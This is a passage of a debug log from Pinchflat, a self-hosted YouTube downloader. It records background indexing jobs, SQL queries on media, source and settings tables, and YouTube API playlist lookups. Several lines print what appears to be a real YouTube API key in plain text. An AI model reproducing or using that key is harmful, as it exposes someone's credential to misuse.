AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:08.171 [debug] QUERY OK source="media_items" db=0.7ms idle=172.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:27:08.172 [debug] QUERY OK source="media_items" db=0.4ms idle=173.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:27:08.173 [debug] QUERY OK source="tasks" db=0.1ms idle=174.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799979, 4, ~U[2026-02-10 22:27:08Z], ~U[2026-02-10 22:27:08Z]] 16:27:08.173 [info] {"args":{"id":4},"id":3799941,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":176539,"event":"job:stop","queue_time":521055,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:08.323 [debug] QUERY OK source="media_items" db=0.4ms idle=150.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 16:27:08.324 [debug] QUERY OK source="media_items" db=0.2ms idle=151.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:27:08.325 [debug] QUERY OK source="tasks" db=0.1ms idle=145.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799980, 24, ~U[2026-02-10 22:27:08Z], ~U[2026-02-10 22:27:08Z]] 16:27:08.325 [info] {"args":{"id":24},"id":3799940,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":329039,"event":"job:stop","queue_time":542169,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:08.997 [info] {"args":{"id":26},"id":3799942,"meta":{},"system_time":1770762428997706554,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:08.998 [debug] QUERY OK source="sources" db=0.2ms idle=672.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:27:08.998 [debug] QUERY OK source="settings" db=0.1ms idle=672.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:08.998 [debug] QUERY OK source="media_profiles" db=0.1ms idle=666.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:08.998 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:08.998 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:27:08.998 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:08.998 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:09.078 [debug] QUERY OK source="media_items" db=0.8ms idle=79.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:27:09.079 [debug] QUERY OK source="media_items" db=0.4ms idle=80.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:27:09.079 [debug] QUERY OK source="tasks" db=0.1ms idle=80.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799981, 26, ~U[2026-02-10 22:27:09Z], ~U[2026-02-10 22:27:09Z]] 16:27:09.080 [info] {"args":{"id":26},"id":3799942,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82238,"event":"job:stop","queue_time":512496,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:09.998 [info] {"args":{"id":39},"id":3799943,"meta":{},"system_time":1770762429998688208,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:09.998 [info] {"args":{"id":18},"id":3799944,"meta":{},"system_time":1770762429998719516,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:09.999 [debug] QUERY OK source="sources" db=0.1ms idle=918.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:27:09.999 [debug] QUERY OK source="sources" db=0.1ms idle=918.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:27:09.999 [debug] QUERY OK source="settings" db=0.1ms idle=912.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:09.999 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:09.999 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:27:09.999 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:27:09.999 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:09.999 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:09.999 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:10.083 [debug] QUERY OK source="media_items" db=0.6ms idle=83.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:27:10.084 [debug] QUERY OK source="media_items" db=0.3ms idle=84.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:27:10.085 [debug] QUERY OK source="tasks" db=0.1ms idle=85.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799982, 39, ~U[2026-02-10 22:27:10Z], ~U[2026-02-10 22:27:10Z]] 16:27:10.085 [info] {"args":{"id":39},"id":3799943,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":86752,"event":"job:stop","queue_time":499025,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:10.091 [info] {"args":{"id":3},"id":3799945,"meta":{},"system_time":1770762430091829124,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:10.092 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:27:10.092 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:10.092 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:10.092 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:10.092 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:27:10.093 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:10.093 [debug] Using YouTube API key: 